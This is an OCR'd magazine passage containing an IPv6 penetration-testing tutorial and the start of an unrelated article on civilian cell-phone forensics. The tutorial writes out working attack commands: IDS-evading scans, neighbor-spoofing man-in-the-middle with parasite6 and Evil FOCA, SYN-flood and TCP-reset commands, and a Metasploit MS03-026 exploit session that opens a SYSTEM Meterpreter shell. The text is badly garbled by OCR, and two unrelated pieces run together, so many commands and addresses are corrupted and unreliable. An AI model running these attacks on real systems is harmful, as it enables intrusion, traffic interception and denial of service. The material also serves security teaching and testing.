# nmap -6 feB80::XXXX:XXXX:XXXX:XXXX
Starting Nmap 4.53 (http://insecure.org) at 2008-08-23 14:48 CDT
Strange error from connect (22):Invalid argument

The problem is that link-local addresses are interface specific. In order to talk to to the host at
fe80: 00 xxxXx: XXxX:xxxx, we must indicate which interface it is on as well. The way to do this on the
Linux platform is by appending a “%” followed by the interface name to the address. In this case, we
would specify “fe80::xxxx:xxxx:xxxx:xxxx%eth0”. Recent versions of Nmap (4.68) now support the inter-
face suffix and have no problem scanning link-local IPv6 addresses. Site-local addresses do not require
a scope ID suffix, which makes them a little bit easier to use from an attacker’s perspective (reverse con-
nect code doesn’t need to know the scope ID, just the address).

# nmap -6 feB80::xXxXxX:xXxXxXX:XxXXX:xxxx%eth(

Starting Nmap 4.68 (http://nmap.org) at 2008-08-27 13:57 CDT
PORT STATE SERVICE

22/tcp open ssh

USING METASPLOIT

The development version of the Metasploit Framework includes a simple TCP port scanner. This module
accepts a list of hosts via the RHOSTS parameter and a start and stop port. The Metasploit Framework
has full support for IPv6 addresses, including the interface suffix. The following example scans ports 1
through 10,000 on the target fe80::xxxx:xxxx:Xxxx:Xxxx connected via interface eth0.

# msfconsole

msf> use auxiliary/discovery/portscan/tcp

msf auxiliary(tcp) > set RHOSTS fe80::xxxx:xXxxX:xxxX:xxxx%eth(
msf auxiliary(tcp) > set PORTSTART 1

msf auxiliary(tcp) > set PORTSTOP 10000

msf auxiliary (tcp)

[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxXXx:xxXx:xxxx%eth0:135
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxXXxX:xxXx:xxxx%eth0:445
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxXXx:xxxXx:xxxx%eth0:1025
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxXx:xxxXx:xxxx%eth0:1026
[*] TCP OPEN fe80:0000:0000:0000:xxxXx:xxXXxX:xxXXx:xxxx%eth0:1027
[*] TCP OPEN fe80:0000:0000:0000:xxxx:XxXX:xXxXxX:xxxx%eth0:1028
[*]
[*]
[*]
[*]
[*]

> run
*

*
*
*

*

*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1029
TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1040
TCP OPEN fe80:0000:0000:0000:xxxx:xxxxX:xxxxX:xxxx%eth0:3389
TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:5357
Auxiliary module execution completed

*
*
*

*

In addition to TCP port scanning, the Metasploit Framework also includes a UDP service detection mod-
ule. This module sends a series of UDP probes to every host defined by RHOSTS and prints out any
responses received. This module works with any IPv6 address, including the broadcast. For example,
the session below demonstrates discovery of a local DNS service that is listening on ::0 and responds to
requests for the link-local all nodes broadcast address.
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# msfconsole

msf> use auxiliary/scanner/discovery/sweep udp

msf auxiliary(sweep udp) > set RHOSTS f£f02::1

msf auxiliary(sweep udp) > run

[*] Sending 7 probes to ££02:0000:0000:0000:0000:0000:0000:0001 (1 hosts)
[*] Discovered DNS on fe80::xxxx:xXxXxxX:xXxxX:xxxxseth(

[*] Auxiliary module execution completed

SCANNING IPV6 ENABLED SERVICES

When conducting a penetration test against an IPv6 enabled system, the first step is to determine what
services are accessible over IPv6. In the previous section, we described some of the tools available for
doing this, but did not cover the differences between the IPv4 and IPv6 interfaces of the same machine.
Consider the Nmap results below, the first set is from scanning the IPv6 interface of a Windows 2003
system, while the second is from scanning the same system’s IPv4 address.

# nmap -6 -pl-10000 -n fe80::24c:44ff:fedf:1add%ethl
80/tcp open http

135/tcp open msrpc

445/tcp open microsoft-ds
554/tcp open rtsp

1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS

1030/tcp open iadl
1032/tcp open iad3
1034/tcp open unknown
1035/tcp open unknown
1036/tcp open unknown

MOLEHILL: INVISIBLE IPV6 SCANNER

Probably you all know what is Snort, It is one of the most used open source IDS (Intrusion Detection Sys-
tem) and basis for many commercial products. In IPv6 TCP can send a simple package, requesting a reg-
ular SYN, or we can send the same package by adding more layers to the IP header. One of the ways by
which we can “fatten” the head are the “Extension Headers” of IPv6. These allow you to send extra infor-
mation to the target system when needed or leave the basic IPv6 header as simple and light as possible. At
this point we wonder how IDS would behave — Snort in this case — to an IPv6 packet “fed” based on Ex-
tension Headers. The result was surprising: Snort was not able to detect the attack launched in this way.
In order to execute this hack, we are going to use “Topera” an IPv6 port scanner, which is similar to
nmap, very simple to use, with limited but useful functionality. Here we show an example of its useful-
ness. We’'ll see how Snort can detect IPv6 scanning without a problem. Then we use Topera, seeing as
said scanning Snort go unnoticed.

You can download this Topera at http://foperaproject.github.io/topera/
hpplications g Maces i i@ FOSTEbT: Imedia/pafPreects Topera

File Edt Yeew Terminal Go Help g =6 PN -n | feB8::bdbl:98c]l:8b0:cd08 Lpd-1024

2012-12-07 17:00 CH

—_—
crBhn@iniqua, con# tail -1 portscan.log 408

7:00:06.476165

f:fef2:1310 -» fedO::bdbl:98cl:8b0:cdbd

:l|1 4E {Parallels)

le42Tf:Tef2:1310: feBB: :21c:4
% Hmap done: 1 IP address [l host up) scanned in 1.29 seconds

Figure 2. Snort detects nmap doing a port scan


http://translate.googleusercontent.com/translate_c?depth=2&rurl=translate.google.com&sl=auto&tl=en&u=http://www.elladodelmal.com/2012/12/topera-el-escaner-ipv6-invisible.html&usg=ALkJrhjqxlwdcZ-h0j6oKwKCCts_kT8O-A
http://

¢

Now we can see how we do with Topera scanning, right window, and Snort log file without displaying
any alert:

Applicetions g Maces i i@ roobipbi: medialpslPrejects Topera
El-: Edt Wew Teminl fo Help - : = bdbl:98cl:8bG:cd68 -2 ethd

matigdani-navajanegra: fehcsnor rocidand-navapanegra: Amg
rdhn@iniqua. com# tail -f portscan.log

: the other side

open

Topera done: 1 IP addréss (1 host up) scanned in 13,27 secon
=1

Figure 3. Scanning Using Topera

NEIGHBOR SPOOFING

Neighbor Spoofing operation is almost analogous to ARP Spoofing, and likewise allows man in the mid-
dle attacks. IPv6 uses NDP (Neighbor Discovery Protocol) to discover the neighbors. Typical operation
is that a team neighbor send an NS Solicitation to a multicast address when you communicate with a
computer and having that address the IPv6 multicast message respond to a unicast Neighbor Adver-
tisement message with its physical address (NA MAC). The NA message receiver would store it in the
neighbor table.

However, as with IPv4 ARP protocol, an attacker can send an NA without having received the previous
message of NS and do make the table cache storing the registration neighbors.

B Dastination Protocol  Length Info
feB0::f47¢c:d2ae:h534:40b2 Te80::f05c:h7ch1ea3d 1d3ff ICMPVE 86 Neighbor Advertisement
SR s b

e, .T91C.b/Cy.eas3q . o . . e ICMPVE 86 Neighbor Advertisement
fe80::f47c:d2ae:bh534 :40b2 ) A LLMMNR 83 standard query A srv
192.168.1.204 224.0.0.252 LLMNR 63 Standard query A srv
fed0: :fo5c:h7ciipaid (d3ff feR0::Fd47c:d?ar:b534 :40h2 LLMNR 102 standard query response
162.168.1.204 224.0,0,252 LLMMR 63 standard queary aasa sr.

feg80: :f95c:hb7c5:2a34 1 d37f feg0::f47¢c:d2ae:h534:40b2 LLMNR 102 standard query response

R Idys s WADUWUUWUY

Oive vine wnnn wunn ROUTEr: NOT s5et

il sevwicces wpenaee Gessa solicited: set

ek eiie el el override: set

...0 0000 0000 Q00O 0000 0000 0000 0000 = Reserved: O
Target Address: feB0::f47c:dzae:b534:40b2 (feB0::f47c:dzae:h534:40b2)
1 ICMPYE Option (Target 1link-layer address : 08:00:27:3f:05:4e)

Type: Target Tlink-Tayer address (2)

Length: 1 (8 bytes)

Link-layer address: CadmusCo_3T:05:4e (08:00:27:37:05:4e) |

Figure 4. NA Package sent spoofing the IPv6 fe80 :: f47c: d2ae: B534: 40b2
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Source Destination Protocol Length InFD

i sement
152.168.1. 204 224.0.0.252 LLMMR 63 standard guery A srv
fag0: :f95c:h7cseasd (d3ff feg80: :fa47c:dzae:h534 :40kb2 LLMRR. 102 standard guery responsi
152.168.1. 204 224.0.0,252 LLMNR 63 Standard guery Affs s
fefl::foSc:h7c5ea3d (d3fFf feB0::fd47c:d2ae:h534 :40b2 LLMMR 102 standard guery responst

fegl::f47c:d2aehi34 :40b2 feg0::fosc:ih7coeasd (d3ff ICMPYE pestination Unreachahl

=Fdygs o WaauuuuLIL

e =

ROuUter: Not set
. cae e e solicited: set
P T = override: set
L0 0000 0000 0000 [sle]elepmelslely} 0000 0000 = Reserved: 0
Target Address: fes0::foscib7chieasd  d3ff (fesSo::foascibh7coieasd d3ff)
= ICMPyE Ooption (Target Tink-layer address @ 08:00:27:3f:05:4e)
Type: Target link-Tayer address (2)
=TTk ol O N = T e o LA
§ Link-Tayer address: CadmusCo_3T:05:4e (08:00:27:3F:05:4e) |

Figure 5. NA Package sent spoofing the IPv6 fe80 :: f95c: b7c5: EA34: d3ff

The attack is performing spoofing of the IPv6 source address of the packet, to pretend that the mes-
sage comes from the other source, but in both cases it gets the MAC address of the attacker.

PARASITE6
One tool that implements this attack is parasite6. This tool is included in BackTrack. By default the tool
performs man in the middle of all the clients that are discovered by IPv6 network.

1) First put an IPv6 address in BackTrack network interface that is on the network in which to make the
attack.

Ifconfig eth0 inet6 add [ipv6]

2) Start parasite6

Parasite6 ethO

Figure 6. Implementing IPv6

3) Configure the routing

Figure 7. Enabling IPv6 Routing

4) Activate a sniffer (Wireshark) and analyze the packets.

From that moment, we will start sending messages NA for man in the middle IPv6 addresses that are
detected and will poison the neighbor tables of all of them.



Direccidon de Internet

tral@B: 2 :fe?d:hcBh
fedB::197c:4137:624a:4d62
Fra2::2
FfA2::c
FfAZ::16
FfA2::1:2
FfrA2::1:=3
FfA2::1:-ffAA:1
FrA2::1:fFfOA:2
FFA2::1:ff4a:4d62
FEfAZ::1:FFFfT:-hB5

Figure 8. Network Poisoned with parasite6

SCAPY PROJECT

Direccidn fisica

88-88-27-2d-hc—-8h
@8-80-27-9d-hc-8h
88-88-27-9d-hc-8h
88-88-27-9d-hc-8h
33-33-00-80-80—-Q2
33-33-80-80-80—Ac
33-33-08-88-860-16
33-33-80-81-80-QA2
33-33-88-81-86-A3
33-33-ff-88-80-A1
33-33-ff-80-80-Q2
33-33-ff-4a—-4d-62
33-33-ff-f2-8Bb—85

Accesible
Obsoleto
Accesible
Ohzoleto
Permanente
Permanente
Permanente
Permanente
Permanente
Permanente
Permanente
Permanente
Permanente

¢

Another tool that can be used to create the packages is Scapy, written in Python and to configure any
network packet, including IPv6. This utility is perfect for the automated attacks.

STARTING SCAPY

On the Linux machine, use this command to start scapy:

sudo scapy

SENDING AN ICMPV6ECHOREQUEST PACKET WITH SCAPY

Creating an IPv6 Object

i = IPv6()
i.display()

Output would be customized to IPv6

i=IPvE()
i.display()
Eisisi ) k==

l.dst="20081:5c@:1lec:9dea: :1"
i.display()
IE:= =

Figure 9. Scapy in Action

In the Linux machine, in the Terminal window, at the >>> prompt, execute these commands to assign
the IPv6 destination address, using the address of your Windows machine instead of the address shown

below:

i.dst = “2001:5¢c0:110c:9d00::1"
i.display()
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Creating an ICMPv6EchoRequest object

ic = ICMPvé6EchoRequest ()
ic.display()

ic = ICMPvG6EchoRequest()
ic.display()

Bz

=> srl{i/ic)
Begin emission:
..Finished to send 1 packets.

Received 3 packets, got 1 answers, remaining © packets

Figure 10. Response of Scapy

Use these commands to send a packet with your name in it, and look at the reply:

ic.data = “YOUR NAME”
srl(i/ic)

You should see a response with your name in it, as shown below

> jc.data = "YOUR NAME"
> srl{i/fic)
Begin emission:
..Finished to send 1 packets.

Recelved 3 packets, got 1 answers, remaining @ packets

|<

|>>
Figure 11. Scapy Output
SENDING A UDP PACKET
PREPARING THE TARGET
You need to have Nmap on the target windows 7 Machine. On the target Win 7 machine, in a Command

Prompt window, type these commands.

cd \program files\nmap
ncat -6 -u -1 4444

Open the second command prompt and enter the following command

netstat -an

You should see UDP port 4444 LISTENING, on the IPv6 address [::], as shown below.

Figure 12. Sending a UDP Packet from scapy



Execute these commands to change the destination port to 4444 and display the properties again:

u = UDP()
u.display()

This creates an object named u of type UDP, and displays its properties.

u.dport = 4444
u.display()
= U = UEIPI:]
=== U.display()
### | 1

= U.dport = 4444
> u.display()

B[ 138

=>> send (i/u/"YOUR NAME SENT VIA UDP\n")

Sent 1 packets.
Figure 13. UDP packet’s properties

Execute this command to send the packet to the Windows machine:

send (i/u/”YOUR NAME SENT VIA IPv6 UDP\n”)

C:\Proéram Files\Nmap>ncat -6 —-u -1 4444

YOUR NAME SENT UIA IPv6 UDP

B
Figure 14. On the Windows target, this message would appear

MITM ATTACK - EVIL FOCA

Using Evil FOCA, it is possible to capture the files transmitted local area network on which IPv6 is being
used. In this practical | would love to show you how this procedure is implemented in a mixed environ-
ment and you can see how the SMB client and server communicate with IPv6 default.
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Figure 15. Evil FOCA has discovered two teams and performing MITM

Activate wireshark on the attacker’s machine and then from the client we connect to a resource SMB
server that accesses a file called Passwords.txt

[E=% o ==

@\'j-I‘ » Red » SRV b o

Organizar + | Abrir = Imprinnir

E Mombre
P
" _Red | Password.bt
L
L a =
L Public
& Users
K VRAYSVR

o | Buscara 2|

MNueva carpeta (= S | 0
5 La clave es 1234

Figure 16. File (Password.txt) under context

By analyzing traffic captured on attacker machine, we can see that all traffic has been transmitted SMB
over IPv6, so we are able to record all packets that are part of the files.

¥ Capturing frem AMD PCHET Family Ethernet Adapter (Microsaft's Packet Scheduler)
G0 Capbae

o

Fradme  Fatktios

Bx2a

Tesezhony

L\ 4

Destiration

[Wireshark 1.6.7 (SYN Rew 4197

ook [ntemnsk el

@ T & |B=E

1ead T el

version

TEQUEST

| raspons e

5342 -wt/\ n«

Dst Port: 25 [443), Seq: B0, Ack Lan: 9

Figure 17. SMB traffic over IPv6 in Wireshark
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By monitoring the TCP flow is possible, as shown in the following screenshot, access files that have
been passed.

¥ Follow TCP Stream

Stran COntEnt

Erkrs corversabon (12232 bytes) -

End S s Brick O ascr & EBDIC 2 Hex Durrp O C Aerars & Raw
J J

—_ - =
+# Inicio AN PCKET Famiy EL. .. Frobow TCP Stream = EvlFOCA - 0.LO.0

Figure 18. Content of the file reflected

THE HACKERS CHOICE - IPV6 HACKING TOOLKIT
It is A complete tool set to attack the inherent protocol weaknesses of IPV6 and ICMP6, and includes an
easy to use packet factory library. Which can be downloaded at http://www.thc.org/thc-ipv6/. Some of the
most effective tools included in this toolkit are the following
FRAG6
A tool to perform IPv6 fragmentation-based attacks and to perform a security assessment of a number
of fragmentation-related aspects.
Example #1
# frag6 -i eth0 --frag-id-policy -d fc00:1::1 -v
Assess the fragment Identification generation policy of the host “fc00:1::1”, using the network
interface “eth0”. Be verbose.
Example #2
# frag6 -i eth0 --frag-reass-policy -d fc00:1::1 -v
Assess the fragment reassembly policy of the host £co0:1::1, using the network interface etho. Be verbose.
Example #3
# frag6 -i eth0 -frag-type atomic -d fc00:1::1 -v
Send an IPv6 atomic fragment to the host £co0:1::1, using the network interface etnho. Be verbose.
Example #4
# frag6 -i eth0 -s ::/0 --flood-frags 100 -1 -z 5 -d fc00:1::1 -v
Send 100 fragments (every 5 seconds) to the host fc00:1::1, using a forged IPv6 Source Address from

the prefix : : /0. The aforementioned fragments should have an offset of 0, and the M bit set (i.e., be first-
fragments). Be verbose.

www.eForensicsMag.com @ @


http://www.thc.org/thc-ipv6/
http://www.si6networks.com/tools/ipv6toolkit/frag6-manual.pdf

0
0 efForensics

ICMP6
A tool to perform attacks based on ICMPvV6 error messages.

Example #1
# ./icmp6 -1 eth0 -L -p TCP -v

The tool uses the network interface etnho, and operates in “Listening” mode (“-L” option). Each ICMPV6 er-
ror message will contain the ICMPv6 Payload as many bytes from the captured packet without exceeding

the minimum IPv6 MTU (1280 bytes). The tool will print detailed information about the attack (“-v” option).
Example #2

# ./icmp6 -i eth0 --icmp6-packet-too-big -p ICMP6 -d 2001:db8:10::1
--peer-addr 2001:db8:11::2 -m 1240 -v

The tool uses the network interface etnho to send an ICMPv6 Packet Too Big error message that adver-
tises an MTU of 1240 bytes. The ICMPV6 error message will be sent to the address*

2001:db8:10::1. The ICMPV6 error message will embed an ICMPv6 Echo Request message with the
Source Address set to 2001:do8:10::1 (i.e., Destination Address of the error message), and the Desti-
nation Address set to 2001:db8:11::2) (--peer-addr option). The value of the “Identifier” and “Sequence
Number” fields of the embedded ICMPv6 Echo Request message randomized. The tool will provide de-
tailed information about the attack (“-v” option).

TCP6
Atool to send arbitrary TCP segments and perform a variety of TCP-based attacks.

Example #1
# tcp6 -1 eth0 -s fc00:1::/64 -d fc00:1::1 -a 22 -X S -F 100 -1 -z 1 -v

In this example the tcp6 tool is essentially employed to perform a SYN-flood attack against port number
22 of the host fc00:1::1. The tool uses the network interface etno (as specified by the “-i” option), and
sends SYN segments (as specified by the “-X” option) from the prefix fco0:1::/64 (as specified by the
“-s” option) to port 22 (specified by the “-a” option) at the destination address rco00:1::1 (specified by the
“-d” option). The tool sends TCP segments from 100 different addresses (as specified by the “-F” option)
every one second (as specified by the “-I” and “-z” options). The tool will be verbose (as specified by the

“-v” option).
Example #2
# tcp6 -i eth0 -L -X RA -v

In this example, the tcp6 tool is employed to perform a TCP connection-reset attack against all active
TCP connections in the local network. The tool listens (“-L”) on the interface ethO (“-i eth0”), and responds
to any TCP segments with a RST packet (with both the RST and ACK bits set). The tool will be verbose.

IPV6 AND WEB ASSESSMENTS

One of the challenges with assessing IPv6-enabled systems is making existing security tools work with
the IPv6 address format (especially the local scope ID). For example, the Nikto web scanner is an ex-
cellent tool for web assessments, but it does not have direct support for IPv6 addresses. While we can
add an entry to /etc/nhosts for the IPv6 address we want to scan and pass this to Nikto, Nikto is unable
to process the scope ID suffix. The solution to this and many other tool compatibility issues is to use a
TCPv4 to TCPvV6 proxy service. By far, the easiest tool for the job is Socat, which is available as a pack-
age on most Linux and BSD distributions. To relay local port 8080 to remote port 80 on a link-local IPv6
address, we use a command like the one below:


http://www.si6networks.com/tools/ipv6toolkit/icmp6-manual.pdf
http://www.si6networks.com/tools/ipv6toolkit/tcp6-manual.pdf

$ socat TCP-LISTEN:8080, reuseaddr, fork TCP6:[fe80::24c:44ff:fedf:1a44%eth0]:80
Once Socat is running, we can launch Nikto and many other tools against port 8080 on 127.0.0.1.

$ ./nikto.pl -host 127.0.0.1 -port 8080
- Nikto v2.03/2.04

Target IP: 127.0.0.1

Target Hostname: localhost

Target Port: 8080

Start Time: 2008-10-01 12:57:18

+ Server: Microsoft-IIS/6.0

This port forwarding technique works for many other tools and protocols and is a great fall-back when the
tool of choice does not support IPv6 natively.

EXPLOITING IPV6 SERVICES

The Metasploit Framework has native support for IPv6 sockets, including the local scope ID. This allows
nearly all of the exploit and auxiliary modules to be used against IPv6 hosts with no modification. In the
case of web application exploits, the VHOST parameter can be used to override the Host header sent by
the module, avoiding issues like the one described above.

IPV6 ENABLED SHELLCODE

To restrict all exploit activity to the IPv6 protocol, not only do the exploits need support for IPv6, but the
payloads as well. IPv6 payload support is available in Metasploit through the use of “stagers”. These
stagers can be used to chain-load any of the common Windows payloads included with the Metasploit
Framework. Once again, link-local addresses make this process a little more complicated. When using
the bind_ipv6_tcp stager to open a listening port on the target machine, the RHOST parameter must
have the local scope ID appended. By the same token, the reverse_ipv6_tcp stager requires that the
LHOST variable have remote machine’s interface number appended as a scope ID. This can be tricky,
since the attacker rarely knows what interface number a given link-local address corresponds to. For this
reason, the bind_ipv6_tcp stager is ultimately more useful for exploiting Windows machines with link-
local addresses. The example below demonstrates using the bind_ipv6_tcp stager with the Meterpreter
stage. The exploit in this case is MS03-036 (Blaster) and is delivered over the DCERPC endpoint map-
per service on port 135.

msf> use windows/exploit/dcerpc/ms03 026 dcom

msf exploit(ms03 026 dcom) > set RHOST fe80::24c:44ff:fedf:1add%ethl
msf exploit (ms03 026 dcom) > set PAYLOAD windows/meterpreter/bind ipvé tcp
msf exploit (ms03 026 dcom) > set LPORT 4444

msf exploit(ms03 026 dcom) >

Started bind handler

Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

Binding to 4d9f4ab8-7dlc-11cf-861e-0020af6e7c57:0.0@ncacn ip tcp:[...]
Bound to 4d9f4ab8-7dlc-11cf-861e-0020af6e7c57:0.0@ncacn ip tcp:[...][135]
Sending exploit ...

The DCERPC service did not reply to our request

exploit

]
]
]
]
]
]
*] Transmitting intermediate stager for over-sized stage... (191 bytes)
] Sending stage (2650 bytes)

] Sleeping before handling stage...

] Uploading DLL (73227 bytes)...

] Upload completed.

] Meterpreter session 1 opened

f exploit(ms03 026 dcom) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM
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SECURITY ENHANCEMENTS IN IPV6
There are some considerations that, without doubt, increase the level of IPv6 reliability.

MANDATORY USE OF IPSEC

IPv4 also offers IPSec support. However, support for IPSec in IPv4 is optional. The RFC4301 instead
makes it mandatory to use in IPv6. IPSec consists of a set of cryptographic protocols designed to pro-
vide security in data communications. IPSec has some protocols that are part of its suite: AH (Authenti-
cation Header) and ESP (Encapsulating Security Payload). The first provides for authentication and data
integrity, the second, in addition to these, also for confidentiality. In IPv6 both the AH header and the
ESP header are defined as extension headers. A fundamental concept of IPSec is “Security Association”
(SA). SAis uniquely identified by some parameters like SPI (Security Parameters Index — a field in the
AH/ESP header), the security protocol and the destination IP address. The SA defines the type of secu-
rity services for a connection and usually contains the key for data encryption as well as the encryption
algorithms to be used. The IKE (Internet Key Exchange) is the process used to negotiate parameters
needed to establish a new SA.

LARGE ADDRESSING SPACE

As mentioned above, in IPv4, reconnaissance attacks and port scanning are relatively simple tasks. The
most common network segments in the current Internet Protocol are of class C, with 8 bits allocated for
addressing. Currently, performing this type of attacks on these network segments does not require more
than a few minutes. Allocating 64 bits for addressing (as expected in an IPv6 subnet) means performing
a net scan of 2264 (18446744073709551616) hosts. It is practically impossible.

NEIGHBOR DISCOVERY

ND (Neighbor Discovery) is the mechanism used for router and prefix discovery. This is a network layer
protocol, like IPv4 equivalents ARP and RARP. ND works very closely with address auto-configuration,
which is the mechanism used by IPv6 nodes to acquire configuration information. Both ND and address
auto-configuration contribute to make IPv6 more secure than its predecessor.
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Threat

TPyt Characteristics

Threats with New Considerations in IFvG

Eeconnaissance

TUnauthorized
aCCess

Header

mampulation

Fragmentation

Layer 3fayer 4
spoofing

woanning for hosts is not feasible
because of large address space. Well-
known addresses, in particular
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open new attack vemues.
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same as IPwd. Privacy extensions
can male reconnaissance less
effective.

Tse pnvacy extensions to reduce a
host's exposure. Use multiple
addresses with different scopes.
IManage EH use.
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SELVICES.
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that do not allow fragment owerlap.
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IPwd.

Figure 20. Mitigation and Countermeasures that can be implemented to ensure IPv6 Security

CONCLUSION
In the end i would love to suggest you all that as the IPv6 adoption and migration is increasing fast hence
the administrator should plan their networks having in mind the security issues, and Industry is in the
early stage of IPv6 adoption and for this reason many security breaches didn’t appear yet so we need to
stay updated. Some good portals for staying updated in the field of IPv6 security and implementation are
the following www.ipv6forum.com and www.cisco.com/web/solutions/trends/ipvé/index.html.
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HOW TO INVESTIGATE
CRIMINAL CASES AS

A CIVILIAN DIGITAL FORENSICS INVESTIGATOR

by Larry Smith

| spent a quarter of a century in law enforcement. During that
time | was assigned to the Internet Crimes Against Children
(ICAC) detail of the Las Vegas Police Department as a digital
forensics examiner and later as an examiner in the Electronic
Crimes Unit. The job consisted of the digital examinations of
computers and cell phones as well as many other digital devices.
On the law enforcement side your thought process is to get the
data off of the device and present it to the prosecuting attorneys
or the detective assigned to the case, using whatever tools you
have at your disposal.

What you will learn:

» What to expect as a civilian exam-
iner in a criminal world

* What a typical examiners “call-out”
tool box should contain

« Basic steps in cell phone acquisi-
tion and what to expect in the field

* How to avoid some common mis-
takes when working with cell-
phones in the field and in a lab en-
vironment

« Tips for a safe and successful cell-
phone acquisition in the field as well
as a lab.

What you should know:

« The proper procedures for examin-
ing a cellular device

« Basic understanding of the search
and seizure laws in your jurisdiction

* Basic understanding of criminal
laws in your jurisdiction

« Basic knowledge of the wide vari-
ety of forensic tools available for
cell phone and computer forensics.

he attitude of most law enforcement examiners is that there must

I be evidence of a crime on this device and that the suspect must be

guilty, right?

Well, that’s not always the case. It could be that the “suspect” was in the
wrong place at the wrong time or even just a victim of circumstances. But as
law enforcement has all the cool tools, skills, and education, how can one
defend himself? That's where the trained civilian forensics examiner comes
into play.

And it’s not just computers. Cellphones are taking the world by storm. More
people have cell phones than computers these days. Most households usu-
ally have one computer, possibly two, but every family member has a cell
phone, and it’s not just the adults, kids as young as age of 10 or 11 will prob-
ably have one as well.

There is no crime where a cell phone couldn’t be used during its commission
and the cops know this. This allows the police to obtain a search warrant for
every device that you own, or possess, if you should be accused of a crime.

Once the police agency has possession of your phone they must perform

a forensic examination of the device by a digital forensics examiner that is
trained to examine phones.
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But, what about you? What if you have been accused of a crime and your computers and/or cellphones
have been seized? Who is going to help you?

In the state of Nevada, as well as many other states, you must be a licensed private investigator in or-
der to do digital forensics. That’s not a bad thing, in my opinion, because it keeps the unskilled investiga-
tors from ruining your life. The alleged suspect’s life is literally dependent on the digital examiners ability
to do his/her job correctly and ethically. If the examiner should permanently destroy the device or data
then any chance the accused had to defend himself is now lost forever. This could result in prison time
for an innocent person or it could let a homicide or rape suspect go free.

Once the law enforcement agency has collected their evidence the accused has the right, and the bur-
den, of trying to prove their innocence. This may involve hiring an attorney or a private investigator, or both.

As a private investigator/forensic examiner you are hired to ensure that the client gets a fair trial. Your
job is twofold. Make sure that the law enforcement agency followed forensic protocols when they exam-
ined the device and two, to gather any evidence that will exonerate your client.

Certain crimes create unique issues. For instance, in the State of Nevada if the crime is child pornogra-
phy the contraband cannot leave the custody of the police agency. So what does this mean? This means
that you, the investigator, must make arrangements with them and examine any device at their autho-
rized lab and often times, at their convenience.

The law enforcement agency may not be obligated to provide you with any software or cell phone ex-
amination tools. You also may not be allowed to enter the examination area with a cellphone or thumb
drive or any device that could copy or take a picture of the contraband. (You should be able to take in
hardware devices such as a dongle to utilize your forensics software.

Our local ICAC (internet Crimes Against Children) detail is very strict on what you can and cannot do.
For example, if you need a computer to do your job they will provide you a computer with no network con-
nectivity, no CD/DVD writing hardware, and you will not be allowed to use a USB device that has storage
capability. It will be loaded with an operating system but that’s it.

It is your duty as a forensic investigator to bring your own forensic software, cellphone tools and any-
thing else that you will need to do your job. The lab will make sure your version of software is preloaded
on the computer to enable you to use the software you are licensed for.

You would not be allowed to bring your own computer to do a child pornography case as that would
place you in jeopardy of possessing child pornography on your personal computer.

| won’t get into the proper procedures of cell phone exams in this article because | am sure that you
have heard many points of view on that topic already. What | will touch on is my methodology for per-
forming examinations both in the field and in a lab environment when doing a criminal exam as a private
investigator.

Let’s take you through a step-by-step process into “Dark Side” of civilian cell phone forensics criminal
investigations.

TOOLBOX
First, let’s take a look at my personal “call out” bag.

* | keep a copy of my forensic software and its security dongle. Personally, | use Access Data’s Foren-
sic Tool Kit (FTK).

+ | also keep a copy of my two favorite iPhone and Android tools. Katana Forensics Lantern software
and the Android Ripping Tool (ART) and its companion software DART (Data Analysis Reporting
tool) from HTCllabs.com. | also use the Cellebrite Touch when possible. There are many tools de-
signed for cellphone examinations but those are the ones | use.

» Another very important tool is a faraday container to isolate the cellphones from the network so that
you can get the device into Airplane Mode, just in case the law enforcement investigator forgot to
place it into airplane mode when they did their exam or returned it to the original mode afterwards.

www.eForensicsMag.com € »
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* You must not forget to bring a universal battery charger and a cable for the device that you are ex-
amining. The phone may have been placed into the evidence vault for a long period of time or the
battery may be depleted from the phone sitting for a long period of time at the scene.

* One very important tool is a micro SD card reader. Many of the Androids and other non-iPhones
store data on micro SD cards and you will need to forensically examine it.

+ A digital camera with a good macro, ability to disable the flash, and decent video is a must. Make
sure the date and time of the camera is correct and set the camera so that the date and time stamp
is displayed on the picture.

* Rubber gloves. Do not touch an unclean device with your bare hands.

+ The last items that | always pack are disinfectant wipes. You never know where these phones were.
They may have come from a drug lab, child porn ring or the jail. If the device came from the local
jail, just think of where it may have been hidden on the subject... Don'’t forget the wipes!

If you are in the private sector working a criminal case, you are most likely being paid by an attorney,
or their client, to examine a device after law enforcement has already had it in their possession. In a civil
case, law enforcement probably won’t be involved, so you may have the computer before anyone else
has examined it. Even then, you must use proper protocols as the opposition will also have an opportu-
nity to examine the device.

| treat every device as if it was a criminal case. You never know when that civil case may turn criminal and
you don’t want your name on a bad exam. If you are a civilian examiner working for a local law enforce-
ment agency, it is quite possible that you may be called right to the scene of a crime to examine a device.

AUTHORITY

Civilly you don’t need a search warrant but if you are examining a case for law enforcement you need to
make sure you have the authority to search it and that you do not exceed the scope of the search war-
rant. Judges aren’t liable for signing a warrant with what later is determined to be no probable cause in
most cases but the officer, or you, could be liable for executing a bad search warrant. Read the warrant
so that you know what you can and can’t search for.

CHAIN OF CUSTODY
Be sure to sign the agency’s chain of custody report. | always bring my own just in case the investigator
assigned to the case forgets theirs.

SAFETY FIRST

When you get the device wipe it down with your disinfectant wipes. Wipe everything that you will touch,
including the battery. It is highly unlikely that you will be examining the device before the local police de-
partment CSI prints it, but it would not hurt to ask before you clean it.

DOCUMENT EVERYTHING

| take pictures of the device as soon as | get custody of it, even if it's a civil case. Document any and all
damage. Take notes of dates, times and location, case numbers, officers names, make and model of the
phone, etc. If the phone is on when handed over to you document that and take a picture of the screen
then get it into Airplane Mode, or faraday, as soon as possible.

ATIP ABOUT FARADAY
When a phone is placed into a faraday device it will continue to try to get a signal. Many phones may in-
crease the power output to try to reach a cell tower and the battery will drain much quicker.

PASSWORD CAUTION
During the above steps keep in mind that the device, whether it is a cell phone or a computer, may be
password protected. If the device goes into screensaver mode it may lock you out, in some cases forever.

BATTERIES

Remove the battery and charge the battery off of the device if possible. Many devices will automatically
